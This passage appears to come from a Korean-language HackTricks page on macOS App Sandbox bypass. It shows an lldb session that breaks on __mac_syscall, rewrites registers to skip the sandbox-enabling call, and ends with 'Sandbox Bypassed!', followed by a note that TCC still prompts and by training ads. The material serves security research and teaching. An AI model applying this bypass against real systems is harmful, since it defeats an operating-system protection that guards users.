(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

[!WARNING] > μƒŒλ“œλ°•μŠ€λ₯Ό μš°νšŒν•˜λ”λΌλ„ TCCλŠ” μ‚¬μš©μžκ°€ ν”„λ‘œμ„ΈμŠ€κ°€ λ°μŠ€ν¬νƒ‘μ˜ νŒŒμΌμ„ μ½λŠ” 것을 ν—ˆμš©ν• μ§€ λ¬Όμ–΄λ³Ό κ²ƒμž…λ‹ˆλ‹€.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°